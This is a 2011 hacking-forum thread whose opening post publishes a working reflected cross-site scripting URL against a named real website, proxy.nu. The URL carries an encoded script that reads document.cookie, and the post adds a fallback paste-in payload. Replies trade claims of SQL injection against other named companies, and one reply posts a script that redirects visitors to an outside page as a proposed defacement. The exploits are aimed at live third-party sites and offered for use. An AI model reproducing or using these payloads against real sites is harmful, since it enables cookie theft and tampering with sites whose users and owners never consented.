+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: www.proxy.nu - XSS (/showthread.php?tid=1393871)
www.proxy.nu - XSS - JoinSeventh - Jun 18, 2011
Code
http://proxy.nu/index.php?e=invalid_url&return=http%3A%2F%2Fproxy.nu%2Fbrowse.php%3Fu%3Dhttp%253A%252F%252F%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C%252Fscript%253E%26b%3D0%26f%3Dnorefer&p=YToxOntpOjA7czo0ODoiaHR0cDovLyI+PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+Ijt9If it doesn't work (probably not) you just have to navigate to http://www.proxy.nu and paste the following code:
Code
"><script>alert(document.cookie)</script>Enjoy.
* - Lokeal - Jun 18, 2011
Nice, Thanks for it (:, Lolmsgtoshort.
* - Mirkie - Jun 18, 2011
Nice find mate keep it up:)
I had found one for Brazzers:P
* - JoinSeventh - Jun 18, 2011
(Jun 18, 2011 03:32 PM)Mirkie Wrote: Nice find mate keep it up:)
I had found one for Brazzers:P
Nice man !
Looks like you've been busy too ;)
* - Mirkie - Jun 18, 2011
oh yeah:P I also sql injected siemens.com but they patched it. Fucking Apple also patched but haven't even respond on my mail.
* - JoinSeventh - Jun 18, 2011
(Jun 18, 2011 03:40 PM)Mirkie Wrote: oh yeah:P I also sql injected siemens.com but they patched it. Fucking Apple also patched but haven't even respond on my mail.
I've given up on sending vulnerabilities to admins, not even the biggest sites reply...
* - jumaniiaa - Jun 20, 2011
can i deface this page with this cod?
<script>window.location="http://pastehtml.com/view/axkqag2ok.html";</script>
* - JoinSeventh - Jun 20, 2011
(Jun 20, 2011 04:05 AM)jumaniiaa Wrote: can i deface this page with this cod?
<script>window.location="http://pastehtml.com/view/axkqag2ok.html";</script>
Since XSS is Client-side, the simple answer is: no.